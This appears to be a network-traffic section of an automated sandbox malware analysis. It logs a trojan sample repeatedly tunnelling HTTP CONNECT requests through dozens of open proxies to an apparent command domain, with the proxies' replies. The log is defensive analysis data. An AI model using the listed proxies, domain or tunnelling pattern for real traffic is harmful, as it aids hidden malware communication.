Feb 23, 2024 14:28:36.991923094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.991699934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:00.991633892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.085478067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.8	51296	103.148.57.103	30007	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.910047054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.556440115 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.8	51548	37.187.73.7	64052	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.911389112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.352849960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.898138046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882716894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.847755909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.882467985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898212910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820565939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.585875988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.8	50994	128.199.221.91	29603	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.921077013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991770029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991916895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.991939068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.991718054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:00.991653919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.085474968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.8	51560	72.195.34.60	27391	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.926126957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.8	51489	41.70.106.1	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.947424889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.8	51461	5.42.78.239	15758	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.948107004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.788598061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.195040941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.695771933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695291042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.695344925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.687231064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.8	51562	72.195.101.99	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.960752010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.8	51003	103.78.96.146	8181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.983767033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.775299072 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.8	51564	72.195.114.184	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.985903978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.8	51538	173.249.30.197	8118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.986479998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.351448059 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.8	51516	8.213.129.15	50	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.986538887 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:27.299817085 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.8	51508	60.188.102.225	18080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.989711046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.8	51566	72.195.34.42	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.995482922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.8	51533	213.233.178.137	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.996376038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.306163073 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.10 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3705 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2019 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.8	50759	5.180.19.209	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.040935040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.8	51544	23.226.4.102	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.040935993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.409630060 CET	531	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 13:28:25 GMT Server: Apache/2.4.52 (Ubuntu) Allow: OPTIONS,HEAD,GET,POST Content-Length: 331 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.8	51233	142.54.235.9	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.050549030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.8	51591	104.18.136.28	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.052907944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.143182039 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.8	51598	185.162.230.201	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.053257942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.143207073 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.8	51569	161.97.160.158	59778	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.055404902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.683049917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.398121119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.694987059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.992189884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.288683891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.8	51577	98.162.25.23	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.068428993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.8	51531	221.230.7.39	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.071547985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.8	51542	171.247.241.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.072773933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.8	51580	199.188.93.214	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.073568106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.8	51579	200.79.141.86	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.075566053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.8	51570	95.43.244.15	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.082204103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.8	51611	104.20.225.218	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.123008013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
